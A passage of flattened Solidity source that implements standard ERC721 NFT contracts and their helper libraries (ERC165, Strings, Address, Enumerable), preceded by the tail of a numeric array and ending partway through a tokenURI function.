1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// File: contracts/intf/IERC165.sol
// This is a file copied from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/solc-0.6/contracts/introspection/IERC165.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.6.9;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: contracts/intf/IERC721.sol
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: contracts/intf/IERC721Receiver.sol
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: contracts/intf/IERC721Metadata.sol
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: contracts/external/utils/ERC165.sol
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: contracts/external/utils/Strings.sol
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: contracts/external/utils/Address.sol
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: contracts/external/utils/Context.sol
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: contracts/external/ERC721/ERC721.sol
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string internal _name;
// Token symbol
string internal _symbol;
string internal _baseUri = "";
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: '';
}
/**
* @dev Base URI for computing {tokenURI}. Empty by default, can be overriden
* in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return _baseUri;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// File: contracts/intf/IERC721Enumerable.sol
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: contracts/external/ERC721/ERC721Enumerable.sol
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: contracts/external/ERC721/ERC721URIStorage.sol
/**
* @dev ERC721 token with storage based token URI management.
*/
abstract contract ERC721URIStorage is ERC721Enumerable {
using Strings for uint256;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
